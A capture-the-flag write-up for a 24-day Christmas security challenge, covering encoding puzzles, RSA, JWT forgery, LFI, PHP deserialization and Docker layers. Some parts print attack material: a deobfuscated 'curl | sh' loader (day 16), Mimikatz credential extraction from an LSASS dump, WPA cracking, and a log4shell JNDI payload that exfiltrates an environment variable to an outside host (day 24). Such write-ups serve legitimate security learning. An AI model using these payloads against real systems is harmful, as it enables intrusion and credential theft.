For December 2021 River Security hosted a Christmas CTF. This is my writeup for the challenge.

Most of the challenges didn’t take too long to solve, but some of them took me a while (I’m looking at you, day 11). Overall this was a nice CTF, with both fun and relevant challenges. I’m looking forward to the next one!

December 1st

Welcome to the River Security XMas Challenge (RSXC)! RSXC operates with the following flag format for most challenges ‘RSXC{flag}’ If another flag format is used, the challenge text will mention this.

In this first challenge we have managed to forget which port we are listening on. Could you please find the port listening for traffic? We know it’s in the range 30 000-31 000.


Starting with a simple nmap scan using -sS for a quicker and more silent SYN-scan, and -p 30000-31000 to specify the port range:

sudo nmap -sS -p 30000-31000

Then let’s try to connect to it:

nc 30780

And we get the flag!


December 2nd

A magic word

We have found a magical port that is listening on port 20002, maybe you can find todays flag there?


Connecting using netcat with: nc 20002 and trying to send something gives: That is not the magic byte I want!.

The answer indicates that we have to transmit a byte in order to get the flag. So let’s try to brute force using all bytes from 0x00 to 0xFF using this Python script:


import socket
import string

target = ''
port = 20002
test_range = range(0,255,1)

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

print(bcolors.OKBLUE+'[*]'+bcolors.ENDC +' Initiating brute force of magical port')

for test in test_range:
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    print('\r'+bcolors.OKBLUE+'[*]'+bcolors.ENDC+' Testing '+bcolors.BOLD+hex(test)+bcolors.ENDC, end="", flush=True)
    data = ''
    data = s.recv(1024).decode()
    if data.strip() != 'That is not the byte I want!':
        print(bcolors.OKGREEN+'[+]'+bcolors.ENDC +' Solution is: '+bcolors.BOLD+data+bcolors.ENDC)
    s.close ()

Running this loops through all available bytes, eventually finding the correct one (0xd4), and we get the flag!


We can also get it directly by using netcat, notice that we have to use echo -n to avoid also sending a newline and -e to enable escape sequences so we can input the hex value of the byte:

echo -e -n "\xd4" | nc 20002

Or we can use printf:

December 3rd

What does this mean?

When looking for the prizes to this challenge we came across some text we can’t understand, can you help us figure out what it means?


The link leads to:


This looks a lot like base64 encoded data, but decoding it in CyberChef doesn’t help much. CyberChef suggest that it might be further base58 encoded:

That gave us another suggestion:

This results in something that doesn’t look like a flag, so we’re probably not done yet:

Since we already have base64 and base58, maybe this is base85? Indeed it was! CyberChef is also giving us another suggestion:

I agree, this looks a lot like morse. Adding morse to the recipe give us something that looks like Hexadecimal values. CyberChef agrees:

And that leads us to one final suggestion:

Making the entire recipe: From Base64 -> From Base58 -> Bzip2 Decompress -> From Base85 -> From Morse Code -> From Hex -> From Base32

Giving us the flag: RSXC{I_hope_you_used_cyber_chef_it_does_make_it_alot_easier}

December 4th

4 Bytes of XOR

The flag of the day can be found by xor’ing our text with 4 bytes.


The link leads to:


The text say what we have to do, XOR the text with a 4 byte key.

Using CyberChef and xortool didn’t yield any useful results, but using did:

The key 88c554d5 (in hex) gave something useful:


December 5th

Plain discussion

A spy was listening in on some of our discussion about todays challenge. Can you figure out what he found?


The file is a pcap file, a packet capture file, which we can open in Wireshark.

By finding a suitable packet, right clicking, and selecting Follow -> TCP Stream, we can get a better overview of what this is:

Looks like a conversation between Simen and Chris:

PRIVMSG chris :Hey!
PRIVMSG #channel :Hey, got any suggestions for the challenge? Any way we can make it harder to get the flag?
:[email protected] PRIVMSG #channel :What about encrypting a zip file containing the flag? Let's say a 10 digit long number above 9 954 000 000 as the password?
PRIVMSG #channel :Sound like a great idea! I will get right too it!

If we use the Stream-number to navigate between the streams, we can see another stream where the zipped flag file is uploaded to a FTP server:

If we continue to stream 6, we get the uploaded file, which we can save using Save as… after changing the display to Raw.

This give us a working, password protected, zip file:

The message gave us a range for the password, so let’s use that to generate a wordlist:

for i in {9954000000..10000000000}; do echo $i; done > numbers.txt

And then use that wordlist to brute force the zip file using fcrackzip:

fcrackzip -u -D -p numbers.txt
  • -u to use unzip to weed out wrong passwords
  • -D to use a dictionary
  • -p to specify wordlist file

Didn’t take long before a password was returned:

By using the password 9954359864 on the zip file, we get the flag:


December 6th

The indecipherable cipher

We recently did some research on some old ciphers, and found one that supposedly was indecipherable, but maybe you can prove them wrong?


The link leads to:


The text indicates that this is using a old cipher, that once was considered indecipherable. Vigenère fits that description. So let’s try brute forcing it using

Since we know that the flag starts with RSXC, we can use that to limit the number of tries. And sure enough, a second later we got the flag which was encoded with the key YMZHG:


December 7th

This is quite meta

We found this picture that seemed to contain the flag, but it seems like it has been cropped, are you able to help us retrieve the flag?


The name kinda hints that there is something hidden in the image metadata. So let’s inspect it using Jeffrey’s Image Metadata Viewer:

And there we have it! The flag is:


We can also get the same using Extract Files in CyberChef:

December 8th

The reference

I just created a new note saving application, there is still some improvements that can be made but I still decided to show it to you!


The application looks kinda basic:

Let’s try to look at the notes:

The first note hints that there is a note with the flag. The application appears to use the id parameter to fetch the correct note. Let’s try using 1 instead of 2,3, or 4.

That gave us a hidden note! Now let’s try 0.

I have to agree with this flag, IDOR is responsible for way too many data leaks:


December 9th

The reference 2

I see that someone managed to read my personal notes yesterday, so I have improved the security! Good luck!


The application still looks kinda basic:

The text mentions RFC 1321, which is The MD5 Message-Digest Algorithm.

Let’s look at the notes again:

The last note give us the information we need. The new ID is note<number> encoded in MD5.

Let’s try to get the first note again by MD5 encoding note0 with the following command: echo -n note0 | md5sum

Always try the simple thing first, so let’s try with flag using the same command: echo -n flag | md5sum, which results in the MD5 string 327a6c4304ad5938eaf0efb6cc3e53dc.

And there it was! MD5 is not a good way to protect secret data, especially not when the plaintext is known - exactly as the flag say:

My flag is RSXC{MD5_should_not_be_used_for_security.Especially_not_with_known_plaintext}

December 10th


Sometimes you need to look up to get the answer you need.


Another basic web application:

Let’s try “looking up” flag:

Nothing. And nothing else seems to produce anything useful either.

But a quick look in Burp Suite reveals something useful:

The flag is hidden as a header:


December 11th

The not so random prime

We intercepted some traffic from a malicious actor. They seemed to be using a not so secure implementation of RSA, could you help us figure out how they did it?


Let’s download and look at the contents of the zip file:

If we look at the code, it might appear that n = p^3, so let’s try to get the cube root of n as p and keep the rest of the code (replacing encode/encrypt with decode/decrypt):

from Crypto.PublicKey import RSA #pycryptodome
from Crypto.Cipher import PKCS1_OAEP
from sympy import nextprime, invert, real_root
import base64

encoded = "MybmIUY2CCSU7M6ojf6PjIXcECMBRgJRH1n1U15dB7L5VXgD4uC8Ry3U+isYpLlhEkw3HjmCTMjPM1trqON1eoV/ZGhtfQvK/iy/FdyAPmV6ykLofWBqFViMGtWebYRYqqKubbMux4aupS4uu2ppR+VIjqOBDuiMwqxvRzxGcRsc7vMGhi6F8qfBuiD+V1Kfe9MhhU1vxNb8a745qLSRc8wjIYQ4a4lPqy0H3dBPuoT3clR9A0dTvQsTq5kfUGBC072ij2RFpBBW9d2qj+KihLapaH6I1ZyZmmBFl83+Qb5QbM0RBB/wAfOKfZ3lfPoRpEjST9MX/J/RBvlaCPaqpkApNCr5bV/6rqxs+paN08bkvdQ5tapcSWR9jXuw+mY1RzS9sb7rbaBoVdwArEUyJwlUBoLiNxkE6w6NPgKpNpmQ08Tm8b1PK2CAs6TW9e6JphwpZlsy76BSpEJgFHLpeqNxmgAY1ESGfCx9soiv9KSPYMvDkm4JbmtH7GHqslzB"

n = 1415732912633110850463082290910531310944025185851628960496687559483254746929720221647023240242336158686917844098726955123922281990353849950572386591304198809887980195592164437463694396551629025725893297740721210740603852117845187276240822110209890805395726319272811238182117091397934074647625229734002195089686974969651954470535554347943901878883362518072923354248859147416112318206824337487445716704648503565676180267966061851236231329358955557146660099270996351905681299543490284088388917086359028800783355214649085181453134992031245774041645632697445995388906670744100784647364712047823965135210709248854353892069782338755245211910680179291304283133858067808724881428158118018329116480623919406482183591009161012049808848921597384462762413755053792928218673793301012582611446447895722794852586858407955308203712823698883371297395149325161872495891941488144882598336487422503139931872453298083167787506759793770112004781589

e = 65537

p = nextprime(real_root(n, 3))
q = nextprime(p*p)

phi = (p-1)*(q-1)
d = int(invert(e,phi))

key = RSA.construct((n,e,d,p,q))
rsa =


That gave us the flag:


December 12th

Twelve seconds of encoding

For this challenge you need to do some encoding, but remember, you need to do it quickly, before the time runs out.


Connecting to this using netcat reveals that we have to do something, quickly:

Trying a few more times reveals that we have at least three different types of tasks:

Let’s also assume that we got changing of case the other way. Further testing also revealed a base64 decoding task.

By building upon the python script from day 2, and using the knowledge we have of the number of tasks we’ll get, we can use the following Python script to get the flag:


import socket
import string
import base64

target = ''
port = 20012
test_range = range(0,100,1)

class bcolors:
    HEADER = '\033[95m'
    OKBLUE = '\033[94m'
    OKGREEN = '\033[92m'
    WARNING = '\033[93m'
    FAIL = '\033[91m'
    ENDC = '\033[0m'
    BOLD = '\033[1m'
    UNDERLINE = '\033[4m'

def doEncoding(data):
    parts = data.rstrip().split(': ')
    reply = ""
    if parts[0] == 'Can you please hex decode this for me':
        reply = bytearray.fromhex(parts[1]).decode()
        print(bcolors.OKBLUE+'[*]'+bcolors.ENDC+' Hex decoding '+bcolors.BOLD+parts[1]+bcolors.ENDC+' to '+bcolors.BOLD+reply+bcolors.ENDC)
    elif parts[0] == 'Please turn this to lower case for me':
        reply = parts[1].lower()
        print(bcolors.OKBLUE+'[*]'+bcolors.ENDC+' Changing case from '+bcolors.BOLD+parts[1]+bcolors.ENDC+' to '+bcolors.BOLD+reply+bcolors.ENDC)
    elif parts[0] == 'Please turn this to upper case for me':
        reply = parts[1].upper()
        print(bcolors.OKBLUE+'[*]'+bcolors.ENDC+' Changing case from '+bcolors.BOLD+parts[1]+bcolors.ENDC+' to '+bcolors.BOLD+reply+bcolors.ENDC)
    elif parts[0] == 'Please reverse this string for me':
        reply = parts[1][::-1]
        print(bcolors.OKBLUE+'[*]'+bcolors.ENDC+' Reversing '+bcolors.BOLD+parts[1]+bcolors.ENDC+' to '+bcolors.BOLD+reply+bcolors.ENDC)
    elif parts[0] == 'Please base64 decode this for me':
        reply = base64.b64decode(parts[1]).decode()
        print(bcolors.OKBLUE+'[*]'+bcolors.ENDC+' Base64 decoding '+bcolors.BOLD+parts[1]+bcolors.ENDC+' to '+bcolors.BOLD+reply+bcolors.ENDC)

print(bcolors.OKBLUE+'[*]'+bcolors.ENDC +' Initiating encoding worker')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

data = s.recv(1024).decode()
first = data.splitlines()[1]

for test in test_range:
    data = s.recv(1024).decode()

data = s.recv(1024).decode()
print(bcolors.OKGREEN+'[+]'+bcolors.ENDC +' Solution is: '+bcolors.BOLD+data+bcolors.ENDC)

This script will repeat 100 times, respond to the tasks, and at the end give us the flag.

And this gave us the flag:


December 13th

New technology is hard

When starting with new languages and frameworks, it is easy to get confused, and do things you shouldn’t.


This looks like another ToDo-app:

This one appears to be a React application, running purely in the browser. Let’s have a look at the code!

We can do this using the developer tools in the browser:

Just poking around reveals something out of the ordinary:

The text indicates that this should be hidden, and the code and content clearly indicate that this is base64 encoded. So let’s decode it using CyberChef or echo "UlNYQ3tpdF9taWdodF9iZV90aGVyZV9ldmVuX2lmX3lvdV9kb24ndF9pbmNsdWRlX2l0IX0=" | base64 -d:

And there it was:


December 14th


Have you heard about the secure information sharing standard JWT? It can sometimes be a little confusing, but I think we got it all figured out.


Based on the name alone, I expect this to have something to do with JSON Web Tokens. We’re presented with a login screen when opening the site, which further strengthens my theory.

Logging in with test:test works, and sure enough, there’s a token there:

There’s also a link to the public key on the page:

Let’s try to change the algorithm to HS256 and use the public key to sign our altered token. Auth0 has a nice explanation of this attack.

We can do this using

Let’s simply replace the token in the cookie and refresh the page:

And there it is!


December 15th


I can admit I might not have figured out everything, but I think everything should be figured out now! I have however implemented a new header I found in RFC 7515.


Just like day 14, we’re presented with a login screen and a test user/password:

After logging in we see a message about a new header:

Inspecting the JWT header reveals a new property:


A URL, maybe we can get the script to include whatever file we want? Let’s try to remove the rest of the token, for the sake of simplicity, and try to get the portal.php file. We can do this in Burp by selecting the first part of the token (after removing the last parts, keeping the dots) and changing the value of kid before we click apply changes and send the request.

And sure enough, this gave us the source code for the portal.php file thanks to verbose error messages:

And there it was, the flag:


Reading source code via LFI vulnerabilities can make further exploitation much easier, so let’s have a look at the includes/jwt.php file:

We can also include any other useful (or less useful) file, like /etc/passwd:

Trying to include /etc/shadow returned Permission denied.

The intended solution

What I guess is the intended solution is to sign with a new key, and tell the server to use our public key. The code in jwt.php further strengthens this theory.

Let’s use to create a new token and then host the public key on pastebin before specifying the raw-pastebin-URL as the kid value:

By replacing the token with this new token, we get the flag:

December 16th

A scary command

Sometimes while monitoring networks and machines, or doing incident response, we find some obfuscated commands. We didn’t have time to deobfuscate this, and it is not recommended to just run it. Could you help us with it?


The contents of the file are:

' | r";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U=" -d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp=""
x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp")
eval "$N0q$x$Hc2$rQW"

Let’s just do simple simple search and replace on the variables:

' | rev |base64- d")
echo "$x"

Then we can reverse and base64 decode the string using CyberChef, which give us another obfuscated script:

gH4="Ed";kM0="xSz";c="ch";L="4";rQW="";fE1="lQ";s=" 'Kg2cgwHIk1CI0YTZzFmYgwHIis0ZyM2Z3hUS3FzQJlXMDl0aohUZndHSJhmQEpleRJTT4VlaOJTSt5kMRRkWysGVOJTWE5kMR1mTiEWY3RWbuF2dmFGJiISY3J3ZhRiIzcmaONTUE5kMN1mT41kaNpXSq5EakR1T6VkeNJSYhdHZt5WY3ZWYkIiaZJza61kMRRkTykVbOBTW65UMFpmTwMGVPpXWE5EMZJSY3J3ZhRiIzsmeNJTVUlVMJ1mT10kaNp3aU5kMZpWTxMGVOhmViE2dydWYkIieZRkT51EVPFTRy4kMVRlWyU0VOVTWU9keJpXT0UlIhdncnFGJioXVH5ENVRkTysmeOlXV61kenRlTx0ERPNzYE5EaWRlTz0UbONTUq1kMrpmT10kaOBTUq5EbaRkT6lkeNJSYhdHZt5WY3ZWYkICVOBTU65keNRVTxsGVOxmU6llMVRlT6lkaZpXUy00aORVTxklaOlmWq5EMR1mT1UlaOJTUq50aapWTyEkeORTW65EMRpmTqpFVNpXS61kIhF2dk1mbhdnZhRiIUl1MrpXT41kaNJTSt5UNNpmTwElaO1mWE5kMjRlT4lFRONza61kMRRkTyEkeOVTTq5UMFdlTppFVPpXS61UNVpmTykEVONTVUlVMBpXTyElaNp3aU5EakpmTxUVbOhmVU9kMrpXT51ERPFTQ61EbSR0TxElaOVzYq1UMNpXT0UFVOp3Z650MRRVWxUleOpmW65EMJpmT1kFVPpXWE5EMZRlWyEleNlXTq1kMVRkTwMmeNpXRU5UNVRlWw0UbOFTV61UeJJTTwMGRPNTU65EbKpnTyUkaOpmWq5kMZ1WTykFVOpXUq5kIhF2dk1mbhdnZhRiIU5kMBpXT10EROJTRq5UMNJSY3J3ZhRiI61keNFTWiE2dydWYkIieVpXT10ERPpXWq5kIhF2dk1mbhdnZhRiIq1keJpmT31keOpXTq5UeNR0T6NmeNFTWiE2dydWYkIiejpXTiEWY3RWbuF2dmFGJiQkTy0kaOdXTU1keNpmTiEWY3RWbuF2dmFGJiomTyUlaOhXTE5keNpXTy0keNJTU61UMZJSY3J3ZhRiI6VleNVTT61keJpmTw0EROJTTq5kMZRVTykkeNBTWE5keNpXTiEWY3RWbuF2dmFGJiISY3J3ZhRiI6lleNJSYhdHZt5WY3ZWYkIiaaJSYhdHZt5WY3ZWYkISbOxmWUpVeNpmT0MmeNNTS65UbKpmW5VkMNd3YE50MRpnT0klIhdncnFGJikXTt5UejRlTz0kaOdXSEV2dBlnYv50VaJCIvh2YltTeZ1TYhdHZt5WY3ZWY7QUT9E2dydWY
' | r";HxJ="s";Hc2="";f="as";kcE="pas";cEf="ae";d="o";V9z="6";P8c="if";U=" -d";Jc="ef";N0q="";v="b";w="e";b="v |";Tx="Eds";xZp=""
x=$(eval "$Hc2$w$c$rQW$d$s$w$b$Hc2$v$xZp$f$w$V9z$rQW$L$U$xZp")
eval "$N0q$x$Hc2$rQW"

Which decodes to:

' | rev |base64 -d")
eval "$x"

Decoding again give us:

agrwa=MD;afwanmdwaa=Yy;echo "ZWNobyAweDIwNjM3NTcyNmMy"$agrwa"Y4NzQ3NDcwM2EyZjJmNzI3Mzc4NjMyZTZlNm"$afwanmdwaa"Zj"$afwanmdwaa"MzYz"$agrwa""$afwanmdwaa"MzMzNDY0MzI2MTY2NjM2NDM0NjIzMzM5MzUz"$agrwa"Y1MzQ2MzM2MzMzNDMxNjU2Nj"$afwanmdwaa"NjMzMTMwNjM2ND"$afwanmdwaa"Mzcz"$agrwa"Y1MzczODMyNjMzNzMwNjIzMj"$afwanmdwaa"NjYzODM5MzUz"$agrwa"Y1MzMz"$agrwa"M1NjE2NDM5MzA2NT"$afwanmdwaa"NjQzNTY2MmY2NjZjNjE2NzJlNzQ3ODc0M2IyMzU1NmM0ZTU5NTEzMzc0NDU2MjMyMzQ2ZTY0NDYzOTY5NjI0NzZjNzU1YTQ3NzgzNTU4MzM1Mjc5NjQ1ODRlMzA1ODMyMzk2OTVhNmU1NjdhNTkzMjQ2MzA1YTU3NTI2NjU5MzIzOTZiNWE1NjM5NzA2NDQ2Mzk3NDYxNTc2NDZmNjQ0NjM5NmI2MjMxMzk3YT"$afwanmdwaa"MzIzMTZjNjQ0NzY4NzA2MjZkNjQ2NjU5NmQ0NjZiNjY1MTNkM2QzYjIzNTU2YzRlNTk1MTMzNzQ0NT"$afwanmdwaa"MzIzNDZlNjQ0NjM5Njk2MjQ3NmM3NTVhNDc3ODM1NTgzMzUyNzk2NDU4NGUz"$agrwa"U4MzIzOTY5NWE2ZTU2N2E1OTMyNDYz"$agrwa"VhNTc1MjY2NTkzMjM5NmI1YTU2Mzk3"$agrwa"Y0NDYzOTc0NjE1NzY0NmY2NDQ2Mzk2Yj"$afwanmdwaa"MzEzOTdhNjIzMjMxNmM2NDQ3Njg3"$agrwa""$afwanmdwaa"NmQ2NDY2NTk2ZDQ2NmI2NjUxM2QzZDBhIHwgeHhkIC1yIC1wIHwgc2gK" | base64 -d | sh

Which decodes to:


Which after base64 decoding results in:

echo 0x206375726c20687474703a2f2f727378632e6e6f2f623630623334643261666364346233393530653463363334316566626331306364623730653738326337306232626638393530653330356164393065626435662f666c61672e7478743b23556c4e59513374456232346e6446396962476c755a4778355833527964584e30583239695a6e567a593246305a5752665932396b5a563970644639746157646f6446396b6231397a6232316c64476870626d6466596d466b66513d3d3b23556c4e59513374456232346e6446396962476c755a4778355833527964584e30583239695a6e567a593246305a5752665932396b5a563970644639746157646f6446396b6231397a6232316c64476870626d6466596d466b66513d3d0a | xxd -r -p | sh

Which in turn decodes to:


The last two base64 encoded strings decode to:


The URL didn’t reveal anything more:

Even fixing the broken redirect (lack of / after didn’t reveal anything else:

December 17th

My XMas card

We felt like it’s time to start sending out some XMas cards, maybe you find something you like?


Opening the URL reveals a message, and a typo (maybe that’s relevant?):

Let’s look at /files:

flag.txt is forbidden:

card.txt is the same as the first page, minus the text about files. And index.php-1 looks like parts of PHP code:

        file = __DIR__. "/files/" . $this->file; 
        if(substr(realpath($this->file),0,strlen(__DIR__)) == __DIR__) { 
            echo("Finding your card in /files") echo(file_get_contents($this->file,true)); 
        else { 
            echo "NO 😠"; 
if(isset($_GET['card']) && !empty($_GET['card'])) { 
    $card = unserialize(base64_decode($_GET['card'])); 
} else { 
    $card = new Card; $card->file = 'files/card.txt'; 

Looks like we have to create and serialize a PHP class we can inject into the card query-parameter. Let’s try with a random parameter:

Let’s save the following to exploit.php:

class Card {
    public $file = 'files/flag.txt';

echo serialize(new Card());

And then run php -f exploit.php | base64 -w0 to get:


Which is base64 of the serialized payload {O:4:"Card":1:{s:4:"file";s:14:"files/flag.txt";}.

That didn’t work:

Reading the first part of the code above, it looks like we should just try to get flag.txt without the rest of the path.

And there it was!


December 18th

Remember the flag? Docker remembers

We found a docker image, but it seems that the flag has been removed from it, could you help us get it back?


Downloading and unzipping the archive reveals that we’re dealing with Docker:

Let’s see if we can find the flag somewhere deep inside the docker-box.tar.gz file.

After unpacking the first (tar xvf docker-box.tar.gz) and the second, we get a nice list of additional layers:

There’s one embedded tarball that looks very promising:

And there it was:


December 19th

The inclusive xmas cards

We felt that the our last xmas cards weren’t that inclusive. So we made even more options, so everyone has one that fits them!


Opening the URL leads to a list of cards:

Let’s have a look at them:

This looks a lot like day 17. The card parameter appears to be base64 encoded, let’s decode them (using CyberChef):

  • c2FudGEudHh0 = santa.txt
  • c25vd21lbi50eHQ= = snowmen.txt
  • dHJlZS50eHQ= = tree.txt

Let’s try the easy thing first, simply base64-encoding flag.txt into ZmxhZy50eHQ=:

And there it was!


Attempting to request ../index.php didn’t work:

December 20th

Easy mistakes

When programming, it is easy to make simple mistakes, and some of them can have dire consequences.


The URL leads to a page with visible PHP code:

It looks like we have to send a request to /api.php. Looking at the code, it looks like hash_hmac() is used wrong. According to the arguments should be:

    string $algo,
    string $data,
    string $key,
    bool $binary = false
): string

This means that we can control the algorithm with the host-parameter and the key with the hmac-parameter.

We don’t know the value of the SECRET environment variable, but maybe we don’t need it? Let’s try to send empty values for both hmac and host:

And there we have it!


December 21st

Nice memories

Note: The flag is the clear text password for river-security-xmas user. On a IR mission we found that the threatactor dumped lsass file.
Can you rock our world and find the flag for us?


The file is a archive with a lsass.DMP file:

This appears to be a dump file of the LSASS (Local Security Authority Subsystem Service) process. LSASS is a process in Windows that verifies users logging on, handles password changes, and creates access tokens. So we should be able to extract the password, or at least the hash, from this file.

After disabling Defender in a Windows VM, we can use Mimikatz to inspect the dump file:

sekurlsa::minidump lsass.DMP

No clear text password, but we got the NTLM hash 7801ee9c5762bb027ee224d54cb8f62e, let’s check if CrackStation has this one:

And there it was:


Windows Defender clearly did not like this:

Alternative to mimikatz - pypykatz

We can run pypykatz from Linux, like for example our regular Kali VM (install with: pip3 install pypykatz):

pypykatz lsa minidump lsass.DMP

Cracking the hash locally

We could also use John the Ripper and the rockyou wordlist to crack the hash:

December 22nd

Wireless communication

We tried to find a new way of sending the flag, and this time it is even encrypted! Since we are nice we will even give you a hint. The password starts with S. Can you Rock our world?



The name and text hints that this is a packet capture of wireless traffic, encrypted with a password that we can find in the rockyou wordlist.

Let’s open the file in Wireshark and have a look:

This is clearly wireless traffic, we can see that on the encapsulation type (802.11 Wireless LAN). Without looking further, we can also see from the highlighted Deauthentication that WPA encryption is used. Deauthentication foces the client to do the authentication again, which we can see in the packets following the deauthentication. This should be enough for us to be able to crack the password.

On the packets above the highlighted one, or a bit further down, we can also see that the SSID is Private, this is useful information.

Since we already know that the password starts with S, we can use grep to only give us the passwords that start with S from rockyou. We can then pipe this to aircrack-ng:

grep "^S" /usr/share/wordlists/rockyou.txt | aircrack-ng -e "Private" -w - 22-challenge.cap 

Don’t forget the - after the -w, this is what makes Aircrack read the standard output for the data sent from grep.

Aircrack-ng will now test all the passwords starting with S from rockyou, and after a couple seconds, we get the result:

We can then use airdecap-ng with the password Santaclaws99 to decrypt the traffic:

airdecap-ng -e "Private" -p "Santaclaws99" 22-challenge.cap

We can see that we got 6 decrypted packets, which have been saved to a new file, 22-challenge-dec.cap. We can open it in Wireshark:

Let’s right click on the first TCP packet and select “Follow” -> “TCP Stream”:

And there it is!


December 23rd

Locating the location

We seem to have lost a file, can you please help us find it?


The link takes us to another websites, with som pretty clear instructions:

If we read the bold text, we are looking for flag.txt in a directory that can be found in the small.txt wordlist from dirb.

We can use a lot of tools for this, so let’s try a couple different ones.

OWASP DirBuster

Since we know that directory listing is disabled, we have to look directly for the flag.txt file itself. To do this we can use the URL Fuzz option, specifying /{dir}/flag.txt as the URL to fuzz and /usr/shared/dirb/wordlists/small.txt (if on Kali Linux) as the wordlist.

After about a minute it’s finished, and we can look at the results:

It looks like /logfile/flag.txt is what we’re looking for.

Burp Suite

We can also use Burp Suite and the Intruder to achieve the same.

Let’s set up the target and config:

And use the Load button to load the same wordlist as for Dirbuster.

We can then start the attack, and sort by the content length in descending order. This ensures that we get the largest responses on the top.

We can see that we found the same file, and we can also see that this server returns a mix of HTTP 404 and HTTP 200 for invalid paths:

If the server hadn’t done this, and returned 404 for all files it didn’t find, we could have sorted the results by the response status.

If I had to guess, I would guess that the requests that returned HTTP 404 are for directories that actually exists, but don’t have flag.txt in them (like cgi-bin and icons, which often are present on Apache servers). The HTTP 200 responses could possibly be handled by the PHP script, meaning that the flag.txt file might not actually exist anywhere outside of index.php.


We can also use wfuzz, a command line fuzzing utility.

By specifying the same wordlist and set the FUZZ location to the first directory, we can achieve the same as we did in the Burp Intruder attack:

wfuzz -w /usr/share/dirb/wordlists/small.txt

This will however give us a lot of false positives:

We can clearly see in the result above that all of the responses have the exact same length. So we can use --hh 20 to hide all responses with a length of 20 characters. Let’s also use --hc 404 to hide actual 404 responses.

This gave us exactly one file - the one we’re looking for.

We could also have used --hh BBB and set a baseline value we knew didn’t exist, this will tell wfuzz to filter out responses that are the same as the baseline, which we we can set by replacing FUZZ with FUZZ{nothing_to_see_here}.


The flag is located under /logfile/flag.txt.


December 24th

The watcher

We have found a service that watches our every step, are you able to figure out how we can read the FLAG from the environment? NB. Container will be restarted every 30 minutes.


Opening the site doesn’t reveal much:

The name of the challenge and the text, combined with recent newsworthy events, does indicate that we might be dealing with log4shell.

So let’s try setting up Burp Responder, and send in a log4shell string as our User-Agent: ${jndi:ldap://${env:FLAG}}

This string, if triggered by log4j, will return the environment variable FLAG as a subdomain of my Burp Collaborator domain.

The response times out, which may indicate that this worked. Let’s check Burp Collaborator:

And sure enough, we got something there: base32_KJJVQQ33K5SV6ZDPL5WGS23FL5WG6Z3HNFXGOX3SNFTWQ5B7PU

Let’s remove the base32_ prefix and run this through Base32 decode in CyberChef: